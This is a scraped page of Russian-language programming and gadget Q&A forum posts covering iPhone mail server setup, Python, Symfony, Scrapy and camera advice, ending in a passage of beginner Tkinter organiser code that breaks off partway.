    И вопросов бы не возникло, если бы не IMAP. Тут у меня стоит Dovecot, опять же, с включённым TLS шифрованием. Как водится, iPhone решил быть оригинальным и на 143 порту коннектиться не стал. Ладно, не вопрос — активировал на сервере устаревший SSL (imaps) и указал iPhone использовать 993 порт. iPhone к серверу подсоединился и даже втянул все письма. Один раз. После этого он неизменно сообщает о том, что сервер не найден и подсоединиться невозможно. Изредка таки соединяется и втягивает как минимум заголовки новых писем, но очень редко. Причём от соединения с интернетом ничего не зависит — и WiFi, и 3G — одна фигня. Логика подсказывает, что у айфона стоят какие-то жутко заниженные таймауты на некоторые операции, поэтому он не дожидаясь ответа рапортует о недоступном сервере. Краткий гуглёж опять-таки показал, что проблема известна давным-давно и касается не только моего корп. сервера, а даже серверов гугла. Проблему уже раза два минимум решали, судя по рапортам эппла, но как показали мои пляски с почтовым сервером — воз и ныне там. Найденное мной решение — использовать POP. Мне это по понятным причинам не подходит полностью.


    Внимание вопрос: у меня есть полный доступ к серверам и единственная задача — заставить работать iPhone с полной авторизацией (и IMAP, и SMTP) и полным шифрованием. Софт на серверах (Postfix+Dovecot) я менять не могу, но настроить его могу как угодно. Что, соббсно делать? Куда хоть копать? iPhone вроде как с свежей прошивкой (что-то вроде 4.3.2, точно 4.x, дальше не помню)

    iPhone   Postfix   Dovecot    

    374   2   13:43, 1st October, 2020


    Scrapy — Python

    При парсинге одного сайта на битрикс через некоторое время происходит возврат «400» ошибки от сервера. Кто-нибудь занимался им и может подсказать как более хитро маскироваться под пользователя?
    Интервал между запросами поставил в 2 секунды, а результат всегда один и тот же — 200 элементов и 400 ошибка

    Python   Scrapy    

    864   4   22:54, 2nd October, 2020


    Возможность играть PS3 против PC?

    Играю уже пару лет в игры купленные через Steam. Товарищ играет на PS3.

    Задача: Сразиться в Battlefield: Bad Company 2 между собой.

    Реально ли играть на одном сервере с разных платформ?

    Разработка   игр   Sony   PlayStation    

    592   2   22:18, 2nd October, 2020


    Как лаконично получить строку из списка int'ов

    Есть список int'ов, нужно получить строку вида «1,3,5,12», но так чтобы код был лаконичен (в одну строку).
    a = [1, 3, 5, 12]
    str_ =…

    Python    

    366   6   01:57, 1st October, 2020


    Как изменить страну при регистрации в appstore?

    Купил карточку на 15 долларов, но в апсторе не принимается, пишет что на моей территории эта карточка не работает. Как зарегистрировать аккаунт американский? При создании нового аккаунта сейчас пишет по умолчанию Россия и не редактируется.

    iPhone   Apple   App   Store    

    330   2   01:49, 1st October, 2020


    Книги по PyQt

    Здравствуйте, Хабровчане!
    Не подскажите ли Вы мне, существуют ли в продаже (допустим, в Москве) книги по PyQt?
    Если же такового нет, то может быть есть достойные альтернативы Rapid GUI Programming with Python and Qt?

    Python   Книги   PyQt    

    302   2   02:23, 2nd October, 2020


    Как зарегистрироваться в Windows MarketPlace из Украины?

    Собственно, вопрос в заголовке. Как можно пройти регистрацию, если есть подтвержденный аккаунт Dreamspark, предоставляющий бесплатный доступ к MarketPlace, но страна отсутствует в списке поддерживаемых?

    Даже если ввести на этапе регистрации страну — Россию, то как потом пройти GeoTrust проверку, которая потребует заполнения формы и печатей от госучреждения страны?

    Windows   Phone    

    388   2   18:18, 2nd October, 2020


    Многопользовательский сервер python

    Доброе время суток, в ВУЗе дали задание сделать отказоустойчивую систему. Я предпочел написать ее на питоне.

    Но так как язык для меня новый, второй день на нем пишу возникают вопросы:
    Как создать приложение-сервер, которое будет работать одновременно с двумя или более клиентами, плюс альтернативный (для отказоустойчивости) второй сервер.

    Т.е. примерно так:
      
          Альтернативный     <---------->                              Основной
                 сервер                                                сервер   
                                                                /         |          \
                                                          Клиент          Клиент       Клиент


    Что-то читал про twisted, что-то про select, но в конце концов так и не понял как и что.
    Вот мой быдлокод сервера:
    # -*- coding: cp1251 -*-
    import socket, string, threading, sys
    
    def sync(sock):
      sock.send('sync ok!')
      
    def alt(num):
      print """
      ====================
        AltServer thread ok
      ====================
      """
          
    def listen(port, first = False, num = 0):
      srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      srv.bind(("localhost", port))
    
      while 1:
          print "Listen...", port
          print "Thread: ", threading.currentThread(), " Num: ", num, "\n" 
          srv.listen(1)             
          global sock
          sock, addr = srv.accept()
          while 1:
            rec = sock.recv(1)
            if not rec: 
              break
            else:
              if (first):
                while 1:
                  num = sock.recv(16)
                  if not num: 
                    break
                  else:
                    print "Number rcvd success! (", num ,")" 
                    sock.send("ok")
                    proc2 = threading.Thread(target=listen, name="cli2", args=[30001, False, num])
                    proc3 = threading.Thread(target=listen, name="cli3", args=[30002, False, num])
                    proc4 = threading.Thread(target=alt, name="altserver", args=[num])
                    proc2.start()
                    proc3.start()
                    proc4.start()
                  
              else:
                sock.send(num)
                status = sock.recv(16)
                while 1:
                  if not status: 
                    break
                  else:
                    if (status == "ok"):
                      sync(sock)
                    else:
                      sync(sock)
                      print "error, pack:", status
                      break
            print "From %s:%s:" % addr, rec
            
          sock.close()
      
    def main():
      proc1 = threading.Thread(target=listen, name="cli1", args=[30000, True])
      proc1.start()
    
    main()
    sys.exit(0)
    


    Сама суть программы — расчет числа Фибоначчи.
    Клиент, который подключается первым отправляет введенное пользователем число (номер по порядку числа Фибоначчи), затем сервер отправляет это число на остальные подключенные клиенты, затем каждый клиент считает последующую итерацию, и отправляет ее на сервер, сервер сравнивает результаты, и использует принцип голосования (если какой-то клиент отправил неожиданные данные, то его ответ считается неверным, это записывается в лог и клиент принудительно отключается). Стоит учесть отказ основного сервера, если это произошло, то клиенты должны автоматически подключится к альтерантивному серверу и продолжать вычисление.

    Python    

    308   2   21:06, 1st October, 2020


    Юристам или закон о ЗПП?

    26 декабря прошлого года, сдал в сервисный центр Sony города Воронеж игровую приставку PS3. В течении двух месяцев специалисты центра отвечали (по телефону) — ждём, когда приставка придёт из Москвы. 26 февраля — специалист оттуда же сказал, что отправки в Москву ещё вовсе не было. На резонный вопрос «почему» ответили, что пытались починить своими силами, но ничего не вышло. 1 марта будут отправлять. Сломан привод, определить не сложно и без диагностики. Ждать ещё пару месяцев уже не хочется, вопрос можно ли что-то сделать, помимо отказа от ремонта? К примеру, чтобы ремонт выполнил недобросовестный сервис за свой счёт.

    P.S. На руках, только квитанция с датой сдачи консоли в ремонт.

    Ремонт не гарантийный. Гарантия закончилась примерно год назад.

    Sony   PlayStation   Сервисное   обслуживание    

    335   4   02:06, 2nd October, 2020


    HTC HD2, iPhone?

    Привет, Хабр.


    Такая ситуация. У меня сейчас HTC HD2, всё нормально, всё устраивает… Но на этой неделе я наконец-то получил права, и появился новый источник вливания денег :)

    В связи с этим вопрос. Как вы думаете, будет ли целесообразно менять HD2 на Айфон 3G\3GS? смогу ли я после HD2 и его огромного экрана пользоваться более мелким у iPhone?


    Спасибо за отзывы!

    iPhone   HTC    

    324   5   21:42, 1st October, 2020


    Вопросы на собеседовании программисту Python

    Какие вопросы задавать программисту Python, что бы оценить его знания?

    Python   Программирование    

    366   7   22:56, 1st October, 2020


    Посоветуйте FullHD видеокамеру

    Всем здравствуйте.
    Подбираю хорошую бытовую FullHD видеокамеру.
    На каком накопителе следует брать: на HDD или на flash? Как жесткий диск реагирует на встряски и постоянное ношение?

    Из того, что подходит по характеристикам и имеет хорошие отзывы:
    — Sony HDR-XR350E, 1/4" EXMOR R CMOS 4,5 мм, HDD
    — Sony HDR-CX550E, 1/2.9'' EXMOR R CMOS 6,3 мм, Flash
    — Sony HDR-XR550E, 1/2.9" EXMOR R CMOS 6,3 мм, HDD

    Последние две отличаются только типом накопителя.

    Посоветуйте варианты по теме.

    Заранее спасибо.

    Видеонаблюдение   Sony    

    364   0   15:00, 1st October, 2020


    Библиотека Python для работы с PDF

    Посоветуйте библиотеку Python для создания PDF. Поддержка русского. Какие плюсы/минусы.
    Нашел парочку, но хотел бы услышать ваши предложения.
    Также интересна библиотека для парсинга PDF. (умеющая создавать или нет — без разницы, так как для другого проекта)

    Python    

    319   2   15:10, 2nd October, 2020


    Symfony2, отзывы и мнения?

    Добрый день!



    Хочется услышать мнения людей, использующих symfony2.

    Каковы впечатления?

    Насколько актуальна документация (API, как я понял, заморозили совсем недавно)?

    Пробовали ли UserBundle и BaseApplicationBundle?



    Спасибо.

    Symfony    

    314   2   02:58, 2nd October, 2020


    Как правильно публиковать проект из SVN?

    Есть проект на SVN, есть вебсервер (на том же сервере, но к этому лучше не привязываться). По пост-коммит триггеру проект публикуется на вебсервер.


    Пока сделал через svn update, минусы — директории ".svn" повсюду. В общем-то не проблема для тестового сервера, да и можно запретить в .htaccess, но все равно получается некрасиво.


    Подсказали вариант svn export, однако в этом случае будут перезаписываться все файлы проекта при каждом коммите, что тоже не очень правильно (особенно при большом кол-ве разработчиков и частом коммите).


    Собственно, вопрос: может быть есть более разумный способ публиковать проект? В идеале бы получить что-то вроде пофайлового diff'а: заменить этот, этот и этот файл, удалить этот, этот и этот. Тогда можно и к внешнему ФТП-серверу привязать без полной загрузки туда проекта каждый раз.

    Стартапы   Subversion   Веб-серверы    

    338   5   21:06, 1st October, 2020


    Лицензия на MongoDB?

    Кто разбирается в лицензиях, объясните пожалуйста:

    1) Можно ли использовать MongoDB в коммерческом продукте?

    2) Можно ли распространять MongoDB как часть коммерческого продукта?

    MongoDB   Лицензии   на   ПО   и   другие   произведения    

    390   1   05:30, 1st October, 2020


    Как подтвердить virtual card для Amazon?

    Здравствуйте!


    Сложилась следующая ситуация — решили с одним товарищем (из Индии), что в качестве вознаграждения за мои труды он купит мне Amazon Gift Card на несколько сотен долларов. Он оплатил покупку в помощью виртуальной карты. Спустя пару часов Amazon прислал ему письмо, в котором попросил отправить ему факсом «statement of your credit card». Все письма с объяснениями они (Amazon), похоже, просто не читают… или это робот выпрашивает statement.

    Каким образом можно подтвердить, что счет в банке у товарища реален, деньги — реальны, просто карточка — виртуальная и пробиться через антифрод Amazon'a?


    Всем заранее спасибо за любую помощь!

    Amazon    

    259   1   02:02, 1st October, 2020


    Можно ли отправить магнит по почте?

    Провожу конкурс и разыгрываю магниты на холодильник. Можно ли отправить по почте, например, 100 писем с магнитами. В каждом конверте по 1 магниту. Не противоречит ли это каким-нибудь правилам или законам?
    И как лучше это сделать, чтобы письма не слиплись при отправке?

    Client   side   optimization    

    778   8   21:06, 1st October, 2020


    VisualSVN не видит один проект

    Есть слюшн, в нём несколько проектов. Все они в SVN, из TortoiseSVN всё работает. А VisualSVN не видит один проект. Пункт «Add to Subversion» в контекстном меню проекта в студии активен, но по нажатию на нём ничего не происходит. Удалял проект с диска, заливал новый с svn — тоже самое. Перестанавливал VisualSVN — не помогает. Самое обидное, что на других компах с этим же проектом всё ок. Может кто сталкивался.



    Студия 2008 PRO, VisualSVN 2.0.5

    Subversion   Visual   Studio    

    264   1   03:26, 2nd October, 2020


    Как перенести купленные приложения с iPhone в iTunes

    Купил приложения с айфона через аппстор, теперь когда пытаюсь синхронизировать их, iTunes говорит что он затрет все приложения на телефоне и оставит только те что есть на компьютере, как сделать так что бы iTunes взял приложения с айфона при синхронизации а не из своей коллекции?

    iPhone   Apple   App   Store   iTunes    

    295   3   03:35, 2nd October, 2020


    Выбор фотоаппарата до 7000р

    Помогите с выбором фотоаппарата.
    Надо чтобы было приемлимое качество фотографий при не очень хорошем освещении, и что-то вроде Nikon L110 Деньги ограничены строго 7000р.

    Фотографии   Nikon   Фотоаппараты    

    313   7   21:06, 1st October, 2020


    JSONP в UserJS для Chrome

    Подскажите как реализовать JSONP в UserJS для Chrome? Я так понимаю что расширения не имеют доступ к глобальному объекту?

    1) Т.е невозможно объявить myCallback, чтобы скрипт возвратил myCallback(JSON)

    Получить доступ к возвращаемому скриптом:

    2) callbackVar = JSON, чтобы была возможность удалить globalObj[callbackVar], а также возможность по таймауту выдать сообщение об ошибке
    3) ну или var callbackVar = JSON

    также не получается.

    Нужно перенести UserJS из Оперы.

    Google   Chrome   JSON    

    354   1   21:06, 1st October, 2020


    Как добавить в доктрины на Симфони отображаемые заголовки полей?

    Тут в чем смысл. Создаю я доктрину, генерируется модель и формы. Но везде в HTML в качестве обозначений полей используется имя поля в БД. А я хочу вместо phone, например, писать «Телефон». Как это сделать?


    Вообще, есть плагины какие-то для использования дополнительных свойств доктрин, чтобы описание для поля указывать, иконку и т. д.?

    Symfony    

    289   3   13:35, 2nd October, 2020


    Как юр. лицо может платить Amazon?

    Хабравчане, привет, случился у меня затык нетехнического плана, выручайте.

    Понадобилось нам воспользоваться Amazon SES, но вот в способах оплаты только кредитные карты. В нашей бухгалтерии мне сказали, что платить картой в валюте и без договора мы не можем ибо валютное законодательство и бла-бла-бла.


    Есть ли реселлеры AWS в России? Может какие-нибудь другие пути оплаты?

    Amazon   Web   Services    

    267   2   21:06, 1st October, 2020


    как запустить pyquery с python 3.1?

    скачал pyquery, пробую установить:
    python3 setup.py install
    получаю:
    ImportError: No module named setuptools

    а сам setuptools — pypi.python.org/pypi/setuptools#files — вроде есть только для 2.7

    может я что-то делаю не так?

    Python    

    301   1   21:06, 1st October, 2020


    Восстановление оригинального состояния системы при каждой загрузке

    Какие посоветуете программы для восстановления оригинального состояния винды, кроме акрониса.
    Т.е. поставил систему, установил прогу, нажал «запомнить» — прога все считала и при каждой загрузке загружалось это «записанное» состояние системы, настройки, файлы и все прочее не запоминалось.

    Acronis    

    310   7   21:06, 1st October, 2020


    Как облегчить жизнь конечным пользователям python-программ?

    Здравствуйте, Хабровчане!
    Представим такую ситуацию: Мы имеем программу написанную на python с использованием кучи библиотек (к примеру трёх) и хочется дать эту программку другу попользоваться. А у друга на компьютере, допустим, ни Python'а, ни библиотек и в помине нет. Можно ли как-нибудь скомпоновать всё это дело так, что бы облегчить ему установку всех компонентов и запуска программы?

    Python    

    356   3   19:16, 2nd October, 2020


    У кого-нибудь работает тетеринг на iphone 4 с Мегафоном?

    Спрашиваю в связи с тем, что вышла прошивка 4.3, которая должна поддерживать Wi-Fi tethering.

    У меня данной опции нет, видимо потому же, почему нет тетеринга.

    На 3GS все работало с тем же номером.

    Час мучил поисковики, вообще ничего по теме.

    iPhone   Мегафон   Мобильная   связь    

    391   3   18:42, 2nd October, 2020


    Создание объекта класса-потомка в Doctrine по известному полю type (column_aggregation)

    Есть проект на Symfony (1.4) + Doctrine (1.2)
    В проекте следующая архитектура классов: AbstractProduct, от него унаследованы AlphaProduct, BetaProduct и GammaProduct классы, используя column_aggregation и поле 'type' для различения классов.

    В одном из контроллеров мне необходимо создать новый объект по заранее известному типу. Т.е. (к примеру) если тип 1 — надо создать AlphaProduct, 2 — BetaProduct и т.д. Т.е. создать дочерний объект нужного типа по известному типу.
    На данный момент это выглядит так:

    $classname = 'AbstractProduct';
    
    foreach (Doctrine::getTable('AbstractProduct')->getOption('subclasses') as $subclass) {
      $inheritanceMap = Doctrine::getTable($subclass)->getOption('inheritanceMap');
      if ($inheritanceMap["type"] == $type) {
        $classname = $subclass;
        break;
      }
    }
    
    $this->product = new $classname();
    


    Но идея сканить все подклассы в поиске нужного мне очень не нравится. В Doctrine 2 эта задача решается проще. Но можно ли как-то решить ее в Doctrine 1?

    Symfony   Doctrine   ORM    

    405   1   11:47, 1st October, 2020


    Какой Python-фреймворк вы используете под Google App Engine?

    Поделитесь, пожалуйста, опытом в использовании Python-фреймворков под Google App Engine. Больше склонен к микро-фреймворкам, но выслушаю все мнения, все «за» и «против».
    Так же было бы интересно узнать выбор шаблонизатора, с которым вы используете фреймворк.

    Предлагаю давать ответы в формате:
    1) Фреймворк
    2) Шаблонизатор
    3) Все «за» (что нравится, чем лучше остальных?)
    4) Все «против» (что не нравится, чем хуже остальных?)

    Python   G   Suite   Фреймворки    

    381   2   17:26, 2nd October, 2020


    До какого размера CF-карточки поддерживает Canon 350D?

    Собирался купить 16GB CF-карточку для Canon 350D, но продавец намекнул, что могут быть проблеммы с таким «большим» объемом. Решил погуглить, но что-то без результатов. Единственное упоминание про объем на dpreview:
    The memory card slot supports 2GB and higher CompactFlash Type I and II cards.


    Но все равно ни слова про верхний лимит.


    Владельцы, откликнитесь

    1. Увидит ли камера полный объем 16GB карточки без проблемм?

    2. Есть ли ограничения на объем/тип карточек у этой камеры? Если есть, то какие?

    Canon   Карты   памяти    

    370   3   14:32, 20th September, 2020


    Subprocess не хочет ждать wget?

    Пишу скрипт на python, для загрузки приличного списка файлов. Скрипт хитрый, поэтому просто список файлов скормить wget'у не получается.

    Запускаю через:
    p = subprocess.Popen(cmd.split(),shell=True)
    p.wait()


    это соответственно происходит в цикле, но не хочет wait ждать пока wget скачает файл, соответственно появляется много параллельных загрузок. Как быть?

    Python   Wget    

    409   1   16:57, 1st October, 2020


    Получение почты скриптом с сохранением вложений

    Существуют ли готовые решения для Perl (либо Python, Ruby) для чтения почты с возможностью извлечения и сохранением вложений?

    Perl   Ruby   Python   Электронная   почта    

    332   1   14:32, 20th September, 2020


    Сколько Украинцев используют iPhone?

    Уважаемые хаброжители, кто-нибудь, когда-нибудь видел статистику по количеству пользователей iPhone в Украине?
    Перерыл весь нет, ничего подобного не нашел.
    Заранее благодарен!

    iPhone   Аналитика    

    275   5   14:32, 20th September, 2020


    Решение Без двух нулей подряд

    Требуется посчитать количество последовательностей длины nn, состоящих из цифр от 00 до k−1k−1 таких, что никакие два соседних элемента последовательности не равны нулю одновременно.

    Входные данные

    Заданы два натуральных числа NN и KK (2≤K≤102≤K≤10; 2≤N2≤N; 4≤N+K≤184≤N+K≤18).

    Выходные данные

    Необходимо вывести целое число — ответ на задачу.

    Примеры

    Ввод 2 2

    Вывод 3

    Ввод 3 9 

    Вывод 712

    C++ Python  

    1352   0   00:51, 26th June, 2021


    Импортирование xls файлов в базу данных psql на python

    Добрый день! Как можно через python импортировать эксель таблицу в PostgreSQL? Изначально нам дан url по которому находится эксель таблица, и нужно чтобы это таблица была в бд postgreSQL, т.е. по url коду данные импортируются в базу данных PostgreSQL, как это можно сделать?

    Python   PostgreSQL   база данных  

    511   0   00:43, 27th June, 2021


    Программа для вычисления периметра треугольника по трём сторонам на Python

    Программа для вычисления периметра треугольника по трём сторонам на Python. Написать исключение для генерации сообщения о невозможности выполнения такой операции (сумма двух любых сторон должна быть больше 3-й). 

    p.s - 1)контролируя состояние потоков ввода/вывода, 2)при возникновении ошибок, связанных с корректностью выполнения математических операций, генерировать и обрабатывать исключительные ситуации, 3) использовать raise.

    Если знаете, как это должно выглядеть, подскажите пожалуйста.



    TreeView печать в PDF

    Почему список созданный руками data, преобразуется в PDF, а список созданный при помощи append нет?

    data = [[4, '', 5, 6, 7], [8, 9, '', 10, 11]]    # Преобразуется в PDF

    t = []   # Выдает ошибку, см. ниже

    def pdf(spacing=1):
    for line in tree.get_children():
        for value in tree.item(line)['values']:
            t.append(value)
    print(f't={t}')
    # Разделяет список таблицы на списки по строкам
    chunk_size = 5  # кол-во элементов в одной строке
    new_list = [t[x:x + chunk_size] for x in range(0, len(t), chunk_size)]
    print(f'new_list={new_list}')
    
    pdf = FPDF()
    pdf.set_font("Arial", size=12)
    pdf.add_page()
    
    col_width = pdf.w / 4.5
    row_height = pdf.font_size
    for row in new_list:
        for item in row:
            print(f'item={item}')
            pdf.cell(col_width, row_height * spacing,
                     txt=str(item), border=1)
        pdf.ln(row_height * spacing)
    
    file_name = en1.get()
    print(f'file_name={file_name}')
    pdf.output(f'{file_name}.pdf')  # Наименование файла

    Ошибка:

    t=['Скамейка 1', '', '', '', '', 'Труба  d20х2000', '2.0', 'шт', '3.0', '6.0', 'Уголок 40х40х3х2000', '4.0', 'шт', '5.0', '20.0']
    total=26.0
    Exception in Tkinter callback
    Traceback (most recent call last):
      File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/tkinter/__init__.py", line 1892, in __call__
        return self.func(*args)
      File "/Users/ulia/Documents/Курс Python/Мои программы/Скамейка/1 таблица 3 без базы.py", line 151, in pdf
        pdf.output(f'{file_name}.pdf')  # Наименование файла
      File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/fpdf/fpdf.py", line 1065, in output
        self.close()
      File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/fpdf/fpdf.py", line 246, in close
        self._enddoc()
      File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/fpdf/fpdf.py", line 1636, in _enddoc
        self._putpages()
      File "/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/fpdf/fpdf.py", line 1170, in _putpages
        p = self.pages[n].encode("latin1") if PY3K else self.pages[n]
    UnicodeEncodeError: 'latin-1' codec can't encode characters in position 82-89: ordinal not in range(256)
    new_list=[['Скамейка 1', '', '', '', ''], ['Труба  d20х2000', '2.0', 'шт', '3.0', '6.0'], ['Уголок 40х40х3х2000', '4.0', 'шт', '5.0', '20.0']]
    item=Скамейка 1
    item=
    item=
    item=
    item=
    item=Труба  d20х2000
    item=2.0
    item=шт
    item=3.0
    item=6.0
    item=Уголок 40х40х3х2000
    item=4.0
    item=шт
    item=5.0
    item=20.0
    file_name=Скамейка 1

    Process finished with exit code 0

    python  

    608   0   14:06, 7th December, 2021


    Почему не запускается программа? Python + TKINTER

    import os
    from tkinter import *
    import subprocess
    from tkinter import ttk

    path = "C:/Program Files/Organaizer"

    m1 = "C:/Program Files/Organaizer/Monday/Registration"
    m2 = "C:/Program Files/Organaizer/Monday/Literature"
    m3 = "C:/Program Files/Organaizer/Monday/ITGS"
    m4 = "C:/Program Files/Organaizer/Monday/Maths"
    t1 = "C:/Program Files/Organaizer/Tuesday/Registration"
    t2 = "C:/Program Files/Organaizer/Tuesday/English"
    t3 = "C:/Program Files/Organaizer/Tuesday/Literature"
    t4 = "C:/Program Files/Organaizer/Tuesday/CS"
    t5 = "C:/Program Files/Organaizer/Tuesday/PE"
    w1 = "C:/Program Files/Organaizer/Wednesday/Registration"
    w2 = "C:/Program Files/Organaizer/Wednesday/CS"
    w3 = "C:/Program Files/Organaizer/Wednesday/Psychology"
    w4 = "C:/Program Files/Organaizer/Wednesday/English"
    h1 = "C:/Program Files/Organaizer/Thursday/Registration"
    h2 = "C:/Program Files/Organaizer/Thursday/English"
    h3 = "C:/Program Files/Organaizer/Thursday/Maths"
    h4 = "C:/Program Files/Organaizer/Thursday/Literature"
    h5 = "C:/Program Files/Organaizer/Thursday/ITGS"
    f1 = "C:/Program Files/Organaizer/Friday/Registration"
    f2 = "C:/Program Files/Organaizer/Friday/CS"
    f3 = "C:/Program Files/Organaizer/Friday/Psychology"
    f4 = "C:/Program Files/Organaizer/Friday/Grorootg Minds"


    try:
        os.makedirs(path)
    except OSError:
        print ("The %s directory could not be created" % path)
    else:
        print ("The %s directory was successfully created" % path)


    try:
        os.makedirs(m1)
    except OSError:
        print ("The %s directory could not be created" % m1)
    else:
        print ("The %s directory was successfully created" % m1)

    try:
        os.makedirs(m2)
    except OSError:
        print ("The %s directory could not be created" % m2)
    else:
        print ("The %s directory was successfully created" % m2)

    try:
        os.makedirs(m3)
    except OSError:
        print ("The %s directory could not be created" % m3)
    else:
        print ("The %s directory was successfully created" % m3)

    try:
        os.makedirs(m4)
    except OSError:
        print ("The %s directory could not be created" % m4)
    else:
        print ("The %s directory was successfully created" % m4)

    try:
        os.makedirs(t1)
    except OSError:
        print ("The %s directory could not be created" % t1)
    else:
        print ("The %s directory was successfully created" % t1)

    try:
        os.makedirs(t2)
    except OSError:
        print ("The %s directory could not be created" % t2)
    else:
        print ("The %s directory was successfully created" % t2)

    try:
        os.makedirs(t3)
    except OSError:
        print ("The %s directory could not be created" % t3)
    else:
        print ("The %s directory was successfully created" % t3)

    try:
        os.makedirs(t4)
    except OSError:
        print ("The %s directory could not be created" % t4)
    else:
        print ("The %s directory was successfully created" % t4)

    try:
        os.makedirs(t5)
    except OSError:
        print ("The %s directory could not be created" % t5)
    else:
        print ("The %s directory was successfully created" % t5)

    try:
        os.makedirs(w1)
    except OSError:
        print ("The %s directory could not be created" % w1)
    else:
        print ("The %s directory was successfully created" % w1)

    try:
        os.makedirs(w2)
    except OSError:
        print ("The %s directory could not be created" % w2)
    else:
        print ("The %s directory was successfully created" % w2)

    try:
        os.makedirs(w3)
    except OSError:
        print ("The %s directory could not be created" % w3)
    else:
        print ("The %s directory was successfully created" % w3)

    try:
        os.makedirs(w4)
    except OSError:
        print ("The %s directory could not be created" % w4)
    else:
        print ("The %s directory was successfully created" % w4)

    try:
        os.makedirs(h1)
    except OSError:
        print ("The %s directory could not be created" % h1)
    else:
        print ("The %s directory was successfully created" % h1)

    try:
        os.makedirs(h2)
    except OSError:
        print ("The %s directory could not be created" % h2)
    else:
        print ("The %s directory was successfully created" % h2)

    try:
        os.makedirs(h3)
    except OSError:
        print ("The %s directory could not be created" % h3)
    else:
        print ("The %s directory was successfully created" % h3)

    try:
        os.makedirs(h4)
    except OSError:
        print ("The %s directory could not be created" % h4)
    else:
        print ("The %s directory was successfully created" % h4)

    try:
        os.makedirs(h5)
    except OSError:
        print ("The %s directory could not be created" % h5)
    else:
        print ("The %s directory was successfully created" % h5)

    try:
        os.makedirs(f1)
    except OSError:
        print ("The %s directory could not be created" % f1)
    else:
        print ("The %s directory was successfully created" % f1)

    try:
        os.makedirs(f2)
    except OSError:
        print ("The %s directory could not be created" % f2)
    else:
        print ("The %s directory was successfully created" % f2)

    try:
        os.makedirs(f3)
    except OSError:
        print ("The %s directory could not be created" % f3)
    else:
        print ("The %s directory was successfully created" % f3)

    try:
        os.makedirs(f4)
    except OSError:
        print ("The %s directory could not be created" % f4)
    else:
        print ("The %s directory was successfully created" % f4)

    root = Tk()
    root.title("Login")
    root.resizable(0, 0)
    root.configure(bg='black')
    root.geometry("910x740")

    attempts=0
    correctpassword="1234"

    entrypass = Entry(root, width=25, textvariable=password, show="*")
    entrypass.pack()

    def start():
        while attempts<3:
            if entrypass==correctpassword:
                print('Correct.')

                altroot = Toplevel(root)
                altroot.title("Organaizer")
                altroot.resizable(0, 0)
                altroot.configure(bg='black')
                altroot.geometry('910x740')

                def monviewcom():
                    subprocess.Popen(r'explorer /select,"C:\Program Files\Organaizer\Monday\Registration"')

                def tuviewcom():
                    subprocess.Popen(r'explorer /select,"C:\Program Files\Organaizer\Tuesday\Registration"')

                def wedviewcom():
                    subprocess.Popen(r'explorer /select,"C:\Program Files\Organaizer\Wednesday\Registration"')

                def huviewcom():
                    subprocess.Popen(r'explorer /select,"C:\Program Files\Organaizer\Thursday\Registration"')

                def frviewcom():
                    subprocess.Popen(r'explorer /select,"C:\Program Files\Organaizer\Friday\Registration"')


                def mondays():
                    monles = Toplevel(root)
                    monles.title("MONDAY")
                    monles.resizable(0, 0)
                    monles.configure(bg='black')
                    monles.geometry('910x740')


                    monlesson = Frame(monles, width=750, height=600, bg='black')
                    monlesson.grid(row=0, column=0, padx=1, pady=1)


                    monregistration = Label(monlesson, text="Registration || 8:20 - 8:40", fg='white', bg='black', font=200, width=85, height=6)
                    monregistration.grid(row=0, column=0, sticky=S, padx=1, pady=1)

                    monliterature = Label(monlesson, text="Russian Literature || 10:20 - 11:40", fg='white', bg='black', font=200, width=85, height=6)
                    monliterature.grid(row=1, column=0, sticky=S, padx=1, pady=1)

                    monitgs = Label(monlesson, text="ITGS || 11:40 - 12:20 / 13:20 - 14:00", fg='white', bg='black', font=200, width=85, height=6)
                    monitgs.grid(row=2, column=0, sticky=S, padx=1, pady=1)

                    monmaths = Label(monlesson, text="Maths || 14:00 - 15:20", fg='white', bg='black', font=200, width=85, height=6)
                    monmaths.grid(row=3, column=0, sticky=S, padx=1, pady=1)

                    monview = Button(monlesson, text="View", fg='black', bg='white', font=300, width=85, height=6, command=monviewcom)
                    monview.grid(row=4, column=0, sticky=S, padx=1, pady=1)

                def tuesdays():
                    tules = Toplevel(root)
                    tules.title("TUESDAY")
                    tules.resizable(0, 0)
                    tules.configure(bg='black')
                    tules.geometry('910x740')


                    tulesson = Frame(tules, width=750, height=600, bg='black')
                    tulesson.grid(row=0, column=0, padx=1, pady=1)


                    turegistration = Label(tulesson, text="Registration || 8:20 - 8:40", fg='white', bg='black', font=200, width=85, height=5)
                    turegistration.grid(row=0, column=0, sticky=S, padx=1, pady=1)

                    tuenglish = Label(tulesson, text="English || 8:40 - 10:00", fg='white', bg='black', font=200, width=85, height=5)
                    tuenglish.grid(row=1, column=0, sticky=S, padx=1, pady=1)

                    tuliterature = Label(tulesson, text="Literature || 10:20 - 11:40", fg='white', bg='black', font=200, width=85, height=5)
                    tuliterature.grid(row=2, column=0, sticky=S, padx=1, pady=1)

                    tucs = Label(tulesson, text="CS || 11:40 - 12:20 / 13:20 - 14:00", fg='white', bg='black', font=200, width=85, height=5)
                    tucs.grid(row=3, column=0, sticky=S, padx=1, pady=1)

                    tupe = Label(tulesson, text="PE || 14:00 - 15:20", fg='white', bg='black', font=200, width=85, height=5)
                    tupe.grid(row=4, column=0, sticky=S, padx=1, pady=1)

                    tuview = Button(tulesson, text="View", fg='black', bg='white', font=300, width=85, height=5, command=tuviewcom)
                    tuview.grid(row=5, column=0, sticky=S, padx=1, pady=1)

                def wednesdays():
                    wedles = Toplevel(root)
                    wedles.title("WEDNESDAY")
                    wedles.resizable(0, 0)
                    wedles.configure(bg='black')
                    wedles.geometry('910x740')


                    wedlesson = Frame(wedles, width=750, height=600, bg='black')
                    wedlesson.grid(row=0, column=0, padx=1, pady=1)


                    wedregistration = Label(wedlesson, text="Registration || 8:20 - 8:40", fg='white', bg='black', font=200, width=85, height=6)
                    wedregistration.grid(row=0, column=0, sticky=S, padx=1, pady=1)

                    wedliterature = Label(wedlesson, text="CS || 8:40 - 10:00", fg='white', bg='black', font=200, width=85, height=6)
                    wedliterature.grid(row=1, column=0, sticky=S, padx=1, pady=1)

